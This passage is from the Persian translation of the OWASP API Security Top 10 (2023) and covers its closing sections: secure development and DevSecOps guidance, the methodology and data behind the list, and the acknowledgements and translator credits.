کنترل‌های امنیتی استاندارد	بکارگیری و انطباق با کنترل‌های امنیتی استاندارد ریسک ایجاد ضعف‌های امنیتی در خلال ایجاد برنامه‌ها با منطق سازمانی را کاهش می‌دهد. علیرغم اینکه بسیاری از چارچوب‌های مدرن امروزی با استانداردهای توکار و موثر امنیتی توزیع می‌شوند، اما کنترل‌های پیشگیرانه و فعال OWASP دید خوبی از کنترل‌هایی که باید در پروژه‌ها لحاظ شوند بدست می‌دهد. OWASP کتابخانه و ابزارهای متعددی از جمله در حوزه کنترل‌های اعتبارسنجی در اختیار عموم قرار می‌دهد که می‌توانند مفید باشند.
چرخه حیات توسعه نرم افزار ایمن	به منظور بهبود فرایندها در هنگام ایجاد و ساخت APIها می‌توان از مدل ضمانت کمال نرم افزار OWASP (SAMM) بهره برد. همچنین پروژه‌های متعدد دیگری نیز در OWASP وجود دارند که می‌توانند در فازهای مختلف توسعه API مفید باشند که از جمله آنها می‌توان، پروژه بازبینی کد OWASP را نام برد.

DSO+ گام بعدی برای مهندسین DevSecOps

با توجه به اهمیت APIها در معماری اپلیکیشن‌های جدید، ایجاد APIهای ایمن امری حیاتی می‌باشد. مقوله امنیت را نمی‌توان نادیده گرفت و باید آن را جزئی از کل چرخه توسعه اپلیکیشن در نظر گرفت. انجام اسکن و تست نفوذ، آن هم به صورت سالیانه به هیچ عنوان کافی نمی‌باشد.

DevSecOps باید به فرایند توسعه افزوده شده و در تمام زمان‌های توسعه نرم افزار، انجام تست‌های امنیتی مداوم را تسهیل کند. هدف شما باید ارتقا فرایند توسعه از طریق خودکارسازی امنیتی باشد. ولی این امر نباید تاثیری بر روی سرعت توسعه بگذارد.

اگر شک دارید، مانیفست DevSecOps را بررسی کنید تا در جریان باشید.

درک مدل تهدیدات[52]	اولویت تست‌ها از مدل تهدیدات بدست می‌آید. اگر شما مدل تهدیدات ندارید می‌توانید از OWASP Application Security Verification Standard (ASVS) و OWASP Testing Guide به عنوان ورودی استفاده کنید. همچنین مشارکت دادن تیم توسعه می‌تواند باعث شود آنها نسبت به موضوعات امنیتی آگاه‌تر شوند.
درک چرخه توسعه نرم افزار	تیم توسعه را به فرایند اضافه کنید تا آنها نیز درک بهتری از چرخه توسعه نرم افزار پیدا کنند. مشارکت شما در انجام تست‌های مداوم امنیتی باید همراستا با افراد، فرایندها و ابزارها باشد. همه باید با فرایند موافق باشند تا هیچ گونه اصطکاک و مقاومتی وجود نداشته باشد.
راهبرد انجام تست	با توجه به اینکه کار شما نباید تاثیری بر سرعت توسعه داشته باشد. بنابراین باید خیلی آگاهانه بهترین تکنیک (ساده، سریع‌ترین و دقیق‌ترین) را برای تایید الزامات امنیتی انتخاب کنید. OWASP Security Knowledge Framework و OWASP Application Security Verification Standard می‌توانند منابع خوبی برای الزامات عملکردی و غیر عملکردی باشند. منابع خوب دیگری از پروژه‌ها و ابزارها مشابه با مواردی که توسط DevSecOps community پیشنهاد می‌شود، وجود دارد.
دستیابی به جامعیت و دقت	شما پلی هستید بین تیم توسعه دهنده و پیاده‌سازی، برای اینکه به این مهم دست یابید نه تنها باید بر روی عملکرد و قابلیت‌ها تمرکز کنید بلکه باید به هماهنگی نیز توجه کنید. از ابتدا به صورت نزدیک با هر دو تیم توسعه و پیاده‌سازی کار کنید تا بتوانید زمان و تلاش‌تان را بهینه نمایید. شما باید برای حالتی که الزامات امنیتی به صورت مداوم بررسی شوند، هدف گذاری کنید.
به وضوح یافته‌ها را به اشتراک بگذارید	با کمترین اصطکاک یا بدون اصطکاک مشارکت داشته باشید. یافته‌ها را در بازه زمانی مشخص و در قالب ابزارهای مورد استفاده توسط تیم توسعه (نه فایل‌های PDF) تحویل دهید. به تیم توسعه اضافه شوید تا یافته‌ها را به آن‌ها نشان دهید. از این فرصت برای آموزش آنها استفاده کنید، به صورت شفاف در مورد نقطه ضعف و روش‌های سوء استفاده از آن (که شامل سناریوهای حملات می‌باشند) توضیح دهید تا واقعی به نظر برسد.

[52] Threat Model

DAT+ متدلوژی و داده

بررسی اجمالی

در تهیه این فهرست، تیم امنیت OWASP API از روش مشابهی که برای ایجاد لیست مشهور و پرطرفدار سال ۲۰۱۹ با موفقیت به کار رفته بود، استفاده کرده است. این روش شامل بررسی امنیت APIها و شناسایی مشکلات امنیتی آنها می‌باشد. علاوه بر روش اصلی، فراخوانی عمومی به مدت سه ماه برای جمع‌آوری داده هم اعلام شد. متأسفانه، داده‌های به دست آمده از فراخوان، امکان تجزیه و تحلیل معتبر آماری از مشکلات امنیتی رایج در API ها را نداشتند. با این حال، فرآیند به‌روزرسانی با استفاده از همان روش متداول ادامه یافت.

امیدواریم به‌روزرسانی فعلی، که یک سند آگاهی‌دهنده و متمرکز بر مسائل مربوط به APIهای مدرن است برای استفاده تا سه الی چهار سال آینده مناسب باشد.. هدف اصلی این پروژه این ارائه جایگزینی برای top 10 API نبوده و تمرکز آن بر مسائل مرتبط با امنیت API و ریسک‌های آینده در این زمینه است و به عنوان یک ابزار آموزشی و آگاهی‌دهنده عمل می‌کند تا صنعت به بهترین نحو ممکن از این موارد آگاه شده و اقدامات لازم را برای حفاظت از امنیت اطلاعات صورت پذیرد.

متدلوژی و داده

در فاز اول، داده‌های در دسترس عموم در حوزه رخدادهای مرتبط با امنیت API توسط گروهی از متخصصین امنیت جمع آوری، بازبینی و دسته بندی شدند این داده‌ها از پلتفرم‌های شکار باگ[۵۳] و پایگاه‌های داده به منظور تحلیل آماری جمع آوری شده اند. این داده‌ها در بازه زمانی بین ۲۰۱۹ تا ۲۰۲۲ گزارش شده بودند و هدف از این جمع‌آوری آن‌ها، تکامل لیست ۱۰ API پیشین برای سال‌های آینده و کمک به مدیریت داده‌های ارائه شده توسط افراد مختلف بود. به این ترتیب، تیم امنیت OWASP API توانست از تجربیات و داده‌های موجود به شکل معقولی در تدوین لیست جدید امنیتی از مشکلات API استفاده کند.

از سپتامبر تا آخر نوامبر ۲۰۲۲، فراخوانی عمومی برای جمع‌آوری داده آغاز شد که هم‌زمان با آن، تیم پروژه به بررسی تغییراتی که از سال ۲۰۱۹ به وقوع پیوسته بود، پرداخت. این بررسی شامل ارزیابی تأثیر لیست امنیتی اول، بازخوردهای دریافتی از جامعه و مشاهده تغییرات و روندهای جدید در حوزه امنیت API بود. با انجام این

[53] Bug Bounty

فراخوان، داده‌ها و بازخوردهای تازه‌ای از افراد مختلف و جامعه امنیتی جمع‌آوری شد تا تیم پروژه با آگاهی از تغییرات اخیر در امنیت API، آن‌ها را در لیست جدید مسائل امنیتی مد نظر قرار دهد.

این تلاش منجر به تهیه نسخه اولیه‌ای از ده ریسک بحرانی امنیتی API شد. روش ارزیابی ریسک OWASP در تجزیه و تحلیل داده‌ها و ارائه نسخه اولیه مورد استفاده قرار گرفت. امتیازات میزان شیوع براساس توافق میان اعضای تیم پروژه و براساس تجربه آن‌ها در این حوزه تعیین شدند. برای اطلاعات بیشتر در این خصوص، به بخش مرتبط با ریسک‌های امنیتی API مراجعه فرمایید.

نسخه اولیه تهیه شده، با افراد متخصص در زمینه امنیت API به اشتراک گذاشته شد. نظرات ارائه‌شده، بررسی، بحث و در صورت نیاز به سند اضافه شدند. سند نهایی به عنوان نسخه نهایی برای بحث عمومی منتشر شد تا مورد بحث قرار گیرد و تعدادی از نظرات و مشارکت‌های ارائه‌شده از جامعه به سند نهایی اضافه گردید. در نهایت، با همکاری افراد متخصص و جامعه لیست نهایی مشکلات امنیتی API تدوین گردید.

لیست مشارکت کنندگان در بخش سپاسگزاری‌ها قابل مشاهده است.

ریسک‌های مختص API

لیست حاضر، به منظور پرداختن به مخاطرات امنیتی API ها ایجاد شده و از آن برای برطرف کردن چالش‌های امنیتی خاص API ها استفاده می‌شود. این لیست به تهدیدات عمومی امنیتی که در تمام برنامه‌های کاربردی وب و نرم‌افزارها وجود دارند، توجهی نمی‌کند و هدف اصلی آن، افزایش آگاهی از تهدیدات در زمینه API ها و راهکارهای مورد نیاز آن‌هاست.

ACK+ سپاسگزاری‌ها

سپاسگزاری از مشارکت کنندگان

بدینوسیله از تمامی مشارکت کنندگانی که به طور عمومی در GitHub و به سایر طرق در توسعه این مستند نقش داشته‌اند تشکر می‌نماییم.

- abunuwas
- Alissa Knight
- Arik Atar
- aymenfurter
- Corey J. Ball
- cyn8, d0znpp
- Dan Gordon
- donge
- Dor Tumarkin, faizzaidi
- gavjl
- guybensimhon
- Inês Martins
- Isabelle Mauny
- Ivan Novikov
- jmanico
- Juan Pablo
- k7jto
- LaurentCB, llegaz
- Maxim Zavodchik
- MrPRogers
- planetlevel
- rahulk22
- Roey Eliyahu
- Roshan Piyush
- securitylevelup
- sudeshgadewar123
- Tatsuya-hasegawa
- tebbers
- vanderaj
- wenz
- xplo1t-sec
- Yaniv Balmas
- Ynvb
- Alireza Mostame
- Maryam Javadi Hoseini

- Mohammad Reza Ismaeli Taba

ترجمه فارسی (Farsi Translation)

این ترجمه با حمایت **شرکت راسپینا نت پارس** تهیه شده است. استاندارد OWASP Security API Top 10 می‌تواند به عنوان مرجع راهنما در توسعه ایمن API و همچنین مرجع بررسی در فرایند آزمون نفوذ پذیری مورد استفاده قرار گیرد.

مترجمین (Translators)

محمد رضا اسمعیلی طبا (Mohammad Reza Ismaeli Taba)

مریم جوادی حسینی (Maryam Javadi Hoseini)

ویراستار (Editor)

علیرضا مستمع (Alireza Mostame)